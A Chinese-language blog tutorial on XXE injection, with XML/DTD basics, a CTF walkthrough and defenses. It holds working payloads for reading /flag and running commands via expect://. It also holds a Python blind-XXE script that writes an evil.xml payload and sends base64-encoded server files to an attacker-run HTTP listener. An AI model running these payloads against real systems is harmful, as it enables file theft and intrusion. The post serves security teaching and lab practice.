Xml外部实体注入漏洞

Xml外部实体注入漏洞(XXE)

Xml介绍

  • XML 不是 HTML 的替代。

  • XML 和 HTML 为不同的目的而设计:

  • XML 被设计为传输和存储数据,其焦点是数据的内容。

  • HTML 被设计用来显示数据,其焦点是数据的外观。

  • HTML 旨在显示信息,而 XML 旨在传输信息。

XML文档结构包括:XML文档声明,DTD文档类型定义,文档元素.libxml是一个XML文档解释器,libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消失

<?xml version="1.0"?>   # xml声明

<!DOCTYPE note SYSTEM "note.dtd">   # DTD文档类型定义

<note>
<to>George</to>
<from>John</from>                     # 文档元素
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

内部声明DTD

<!DOCTYPE 根元素 [元素声明]]>

实体可以通俗的理解为定义变量,实体可在内部或外部进行声明。内部声明就类似直接定义变量,外部声明实体就类似引入外部文件的内容作为变量的值。

内部声明实体

  • <!ENTITY 实体名称 "实体的值">
    
  • 示例

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY writer "Bill Gates">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>
    <note>
      <author>&writer;&copyright;</author>
    </note>
    

外部声明实体

  • <!ENTITY 实体名称 SYSTEM "URI/URL">
    
  • 支持http、https、file等很多协议

  • 示例

    <?xml version="1.0"?>
    <!DOCTYPE note [
    <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>
    <note>
      <author>&writer;&copyright;</author>
    </note>
    

外部声明DTD

  • 外部声明DTD是直接引入外部的一个dtd文件与外部声明实体要区分清楚

  • <!DOCTYPE 根元素 SYSTEM "文件名">
    
  • 示例

    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    </note> 
    

漏洞危害

  1. 读取服务器任意文件(file协议导入)

    <!ENTITY writer SYSTEM "file:///flag">
    
  2. 探测内网端口

    <?xml version="1.0"?>
    <!DOCTYPE user [
    <!ENTITY writer SYSTEM "http:/ip:端口/xxx">
    ]>
    

    在php中可以通过simplexml_load_string函数报错的回显判断端口开放情况,可以通过响应时间来判断(如果目标系统未作处理)

  3. 执行系统命令(需要一定条件 不同语言执行的方式不同)

    安装expect扩展的PHP环境里还可以直接执行系统命令
    执行ifconfig命令
    <?xml version="1.0"?>
    
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY XXE SYSTEM "expect://ifconfig" >]>
    
    <xxe>
    <name>&XXE;</name>
    </xxe>
    
  4. 攻击内网网站(需要内网其他网站存在漏洞)

Buuctf ctf题目

[NCTF2019]Fake XML cookbook

尝试性登录 然后通过burpsuit抓包

Accept: application/xml, text/xml, /; q=0.01
X-Requested-With: XMLHttpRequest
并且post提交的是xml格式的内容-------->可能存在xml外部实体注入漏洞

尝试性注入

<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY writer "test">
]>
<user><username>&writer;zyh</username><password>123456</password></user>

发现test注入成功---------->判断存在漏洞------->因为是ctf题我们要获取flag--------->读取本地的flag文件

这里读取的文件路径为/flag (因为很多ctf题都会将flag放在这里)

python检测xxe

有回显的xxe很方便就可以判断(比如上面那个ctf题),但是无回显xxe判断起来有些繁琐。这里使用python进行检测,源代码来自《python安全攻防》

from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys


# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
        
    def log_message(self, format, *args):
        # 终端输出HTTP访问信息
        sys.stderr.write("%s - - [%s] %s\n" %
                        (self.client_address[0],
                        self.log_date_time_string(),
                        format%args))
        # 保存信息到文件
        textFile = open("result.txt", "a")
        textFile.write("%s - - [%s] %s\n" %
                        (self.client_address[0], 
                        self.log_date_time_string(),
                        format%args))
        textFile.close()
                                                                                                                                   

# 开启HTTP服务,接收数据
def StartHTTP(lip,lport):
    # HTTP监听的IP地址和端口
    serverAddr = (lip, lport)
    httpd = HTTPServer(serverAddr, MyHandler)
    print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n================\n".format(lip, lport))
    httpd.serve_forever()


# 创建攻击代码文件
def ExportPayload(lip,lport):
    file = open('evil.xml','w')
    file.write("<!ENTITY % payload \"<!ENTITY &#x25; send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip, lport))
    file.close()
    print("[*] Payload文件创建成功!")


#通过POST发送攻击数据
def SendData(lip, lport, url):
    # 需要读取的文件的路径(默认值)
    filePath = "c:\\test.txt"
    while True:
        # 对用户的输入的文件路径斜杠的替换
        filePath = filePath.replace('\\', "/")
        data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(filePath, lip, lport)
        requests.post(url, data=data)
        # 继续接收用户的输入,读取指定文件
        filePath = input("Input filePath:")

if __name__ == '__main__':
    #本机IP
    lip = "192.168.61.130"
    #本机HTTP监听端口
    lport = 3344
    #目标网站提交表单的URL
    url = "http://192.168.61.134/xxe-lab/php_xxe/doLogin.php"
    # 创建payload文件
    ExportPayload(lip, lport)
    # HTTP服务线程
    threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
    threadHTTP.start()
    # 发送POST数据线程
    threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
    threadPOST.start()

靶场可以选择xxe-lab
对xxe-lab中doLogin.php进行如下操作

  • 注释掉最后一行的echo $result;
  • 增加errer_report(0);

这样不会输出也不会报错 就变成了无回显的xxe漏洞

防御策略

  1. 默认禁止外部实体的解析
  2. 对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY 或者 SYSTEM 和 PUBLIC等。
  3. 网站对应的编程语言禁用相关函数
posted @ 2022-02-06 14:44  beginner_z  阅读(246)  评论(0编辑  收藏  举报